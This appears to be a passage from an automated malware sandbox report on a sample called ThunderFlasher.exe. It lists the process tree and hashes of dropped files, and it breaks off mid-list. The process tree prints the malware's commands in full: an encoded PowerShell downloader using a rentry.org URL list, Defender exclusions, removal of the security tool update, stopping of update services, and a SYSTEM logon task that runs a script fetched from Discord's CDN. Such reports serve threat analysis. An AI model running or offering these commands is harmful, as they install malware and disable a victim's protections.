wrote to memory of 2240 3840 cmd.exe wusa.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
- Modifies registry class
-
C:\Windows\SysWOW64\openwith.exe"C:\Windows\system32\openwith.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of UnmapMainImage
-
C:\Users\Admin\AppData\Local\Temp\ThunderFlasher.exe"C:\Users\Admin\AppData\Local\Temp\ThunderFlasher.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\carrcfqp.bqj0.exe"C:\Users\Admin\AppData\Roaming\carrcfqp.bqj0.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe"C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe"C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Steam" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1740,i,12612961578766060429,18281661319377168259,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1732 /prefetch:26⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cscript.execscript.exe6⤵
-
C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe"C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\Steam" --field-trial-handle=1952,i,12612961578766060429,18281661319377168259,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1948 /prefetch:36⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cscript.execscript.exe //Nologo C:\Users\Admin\AppData\Local\Programs\Steam\resources\app.asar.unpacked\node_modules\regedit\vbs\regList.wsf A HKCU\Software\Valve\Steam6⤵
-
C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe"C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\Admin\AppData\Roaming\Steam" --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2540,i,12612961578766060429,18281661319377168259,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2528 /prefetch:86⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\carrcfqp.bqj1.exe"C:\Users\Admin\AppData\Roaming\carrcfqp.bqj1.exe"4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart6⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc5⤵
- Launches sc.exe
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "AAWUFTXN"5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "AAWUFTXN" binpath= "C:\ProgramData\acspebqjhjkn\gjouiuwovvdx.exe" start= "auto"5⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Roaming\carrcfqp.bqj2.exe"C:\Users\Admin\AppData\Roaming\carrcfqp.bqj2.exe"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\carrcfqp.bqj3.exe"C:\Users\Admin\AppData\Roaming\carrcfqp.bqj3.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9C7E.tmp\9C8F.tmp\9C90.bat C:\Users\Admin\AppData\Roaming\carrcfqp.bqj3.exe"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\system32\where.exewhere node6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\msiexec.exemsiexec /i nodejs-installer.msi /quiet6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249192949389201463/1249192988895350794/index.js?ex=666da961&is=666c57e1&hm=18936ed8d9532b88193b485814d4fae2181305431d8e870870aab77fc153e162&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\schtasks.exeschtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F6⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding BE2F7D167C8B2E74693C0FD305296AA42⤵
- Loads dropped DLL
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 4C634DB92FC07F707C24FC0D6459BFCA E Global\MSI00002⤵
- Loads dropped DLL
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 77110183DBF45594CA55AD5F7192C9362⤵
- Loads dropped DLL
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.11⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Config.Msi\e58945e.rbsFilesize
823KB
MD5f2f27239f6fa275e69a6af41571ad91d
SHA1d6ff8c65c686a92bf92a8d6dfe7f741f40409f8d
SHA256a2edd9b0876b05da5ffe3993cadeaa34142a2186a3b9146d9c7e118d4ce62bdd
SHA51289a16969e942cb0af41185416ef56ebde24956afcf20b52276275622bc4147d4dd68235d8d183958a965c430a9939b296cdbae0213c56932a3436ea54159b415
-
C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\tuf\LICENSEFilesize
11KB
MD5dfc1b916d4555a69859202f8bd8ad40c
SHA1fc22b6ee39814d22e77fe6386c883a58ecac6465
SHA2567b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
SHA5121fbe6bb1f60c8932e4dcb927fc8c8131b9c73afd824ecbabc2045e7af07b35a4155a0f8ad3103bf25f192b6d59282bfc927aead3cb7aaeb954e1b6dbd68369fa
-
C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\verify\dist\shared.types.jsFilesize
79B
MD524563705cc4bb54fccd88e52bc96c711
SHA1871fa42907b821246de04785a532297500372fc7
SHA256ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
SHA5122ce8d2cf580623358fef5f4f8925d0c9943a657c2503c80048ca789bf16eacdb980bfc8aaaa50101a738e939926fcf2545500484dcad782c700ee206d8c6f9b9
-
C:\Program Files\nodejs\node_modules\npm\node_modules\bin-links\LICENSEFilesize
754B
MD5d2cf52aa43e18fdc87562d4c1303f46a
SHA158fb4a65fffb438630351e7cafd322579817e5e1
SHA25645e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
SHA51254e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16
-
C:\Program Files\nodejs\node_modules\npm\node_modules\chalk\licenseFilesize
1KB
MD5b862aeb7e1d01452e0f07403591e5a55
SHA1b8765be74fea9525d978661759be8c11bab5e60e
SHA256fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f
SHA512885369fe9b8cb0af1107ee92b52c6a353da7cf75bc86abb622e2b637c81e9c5ffe36b0ac74e11cfb66a7a126b606fe7a27e91f3f4338954c847ed2280af76a5f
-
C:\Program Files\nodejs\node_modules\npm\node_modules\env-paths\licenseFilesize
1KB
MD55ad87d95c13094fa67f25442ff521efd
SHA101f1438a98e1b796e05a74131e6bb9d66c9e8542
SHA25667292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec
SHA5127187720ccd335a10c9698f8493d6caa2d404e7b21731009de5f0da51ad5b9604645fbf4bc640aa94513b9eb372aa6a31df2467198989234bc2afbce87f76fbc3
-
C:\Program Files\nodejs\node_modules\npm\node_modules\gauge\LICENSE.mdFilesize
818B
MD52916d8b51a5cc0a350d64389bc07aef6
SHA1c9d5ac416c1dd7945651bee712dbed4d158d09e1
SHA256733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
SHA512508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74
-
C:\Program Files\nodejs\node_modules\npm\node_modules\ignore-walk\LICENSEFilesize
780B
MD5b020de8f88eacc104c21d6e6cacc636d
SHA120b35e641e3a5ea25f012e13d69fab37e3d68d6b
SHA2563f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
SHA5124220617e29dd755ad592295bc074d6bc14d44a1feeed5101129669f3ecf0e34eaa4c7c96bbc83da7352631fa262baab45d4a370dad7dabec52b66f1720c28e38
-
C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmsearch\LICENSEFilesize
730B
MD5072ac9ab0c4667f8f876becedfe10ee0
SHA10227492dcdc7fb8de1d14f9d3421c333230cf8fe
SHA2562ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
SHA512f38fd6506bd9795bb27d31f1ce38b08c9e6f1689c34fca90e9e1d5194fa064d1f34a9c51d15941506ebbbcd6d4193055e9664892521b7e39ebcd61c3b6f25013
-
C:\Program Files\nodejs\node_modules\npm\node_modules\minizlib\node_modules\minipass\LICENSEFilesize
802B
MD5d7c8fab641cd22d2cd30d2999cc77040
SHA1d293601583b1454ad5415260e4378217d569538e
SHA25604400db77d925de5b0264f6db5b44fe6f8b94f9419ad3473caaa8065c525c0be
SHA512278ff929904be0c19ee5fb836f205e3e5b3e7cec3d26dd42bbf1e7e0ca891bf9c42d2b28fce3741ae92e4a924baf7490c7c6c59284127081015a82e2653e0764
-
C:\Program Files\nodejs\node_modules\npm\node_modules\minizlib\node_modules\minipass\index.jsFilesize
16KB
MD5bc0c0eeede037aa152345ab1f9774e92
SHA156e0f71900f0ef8294e46757ec14c0c11ed31d4e
SHA2567a395802fbe01bb3dc8d09586e0864f255874bf897378e546444fbaec29f54c5
SHA5125f31251825554bf9ed99eda282fa1973fcec4a078796a10757f4fb5592f2783c4ebdd00bdf0d7ed30f82f54a7668446a372039e9d4589db52a75060ca82186b3
-
C:\Program Files\nodejs\node_modules\npm\node_modules\minizlib\node_modules\minipass\package.jsonFilesize
1KB
MD5d116a360376e31950428ed26eae9ffd4
SHA1192b8e06fb4e1f97e5c5c7bf62a9bff7704c198b
SHA256c3052bd85910be313e38ad355528d527b565e70ef15a784db3279649eee2ded5
SHA5125221c7648f4299234a4637c47d3f1eb5e147014704913bc6fdad91b9b6a6ccc109bced63376b82b046bb5cad708464c76fb452365b76dbf53161914acf8fb11a
-
C:\Program Files\nodejs\node_modules\npm\node_modules\promise-call-limit\LICENSEFilesize
763B
MD57428aa9f83c500c4a434f8848ee23851
SHA1166b3e1c1b7d7cb7b070108876492529f546219f
SHA2561fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7
SHA512c7f01de85f0660560206784cdf159b2bdc5f1bc87131f5a8edf384eba47a113005491520b0a25d3cc425985b5def7b189e18ff76d7d562c434dc5d8c82e90cce
-
C:\Program Files\nodejs\node_modules\npm\node_modules\promise-call-limit\dist\commonjs\package.jsonFilesize
28B
MD556368b3e2b84dac2c9ed38b5c4329ec2
SHA1f67c4acef5973c256c47998b20b5165ab7629ed4
SHA25658b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
SHA512d662bff3885118e607079fcbeedb27368589bc0ee89f90b9281723fa08bda65e5a08d9640da188773193c0076ec0a5c92624673a6a961490be163e2553d6f482
-
C:\Program Files\nodejs\node_modules\npm\node_modules\promise-call-limit\dist\esm\package.jsonFilesize
26B
MD52324363c71f28a5b7e946a38dc2d9293
SHA17eda542849fb3a4a7b4ba8a7745887adcade1673
SHA2561bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
SHA5127437cf8f337d2562a4046246fbfcc5e9949f475a1435e94efbc4b6a55880050077d72692cbc3413e0ccd8f36adf9956a6cc633a2adc85fbff6c4aa2b8edac677
-
C:\Program Files\nodejs\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\es2015\index.jsFilesize
17KB
MD5cf8f16c1aa805000c832f879529c070c
SHA154cc4d6c9b462ad2de246e28cd80ed030504353d
SHA25677f404d608e2a98f2a038a8aa91b83f0a6e3b4937e5de35a8dae0c23aa9ee573
SHA512a786e51af862470ae46ad085d33281e45795c24897e64b2c4b265302fa9cbfa47b262ec188adbc80d51cfc6ba395b500c0d7f5d343ca4fc2b828eaedba4bd29a
-
C:\Program Files\nodejs\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\index.jsFilesize
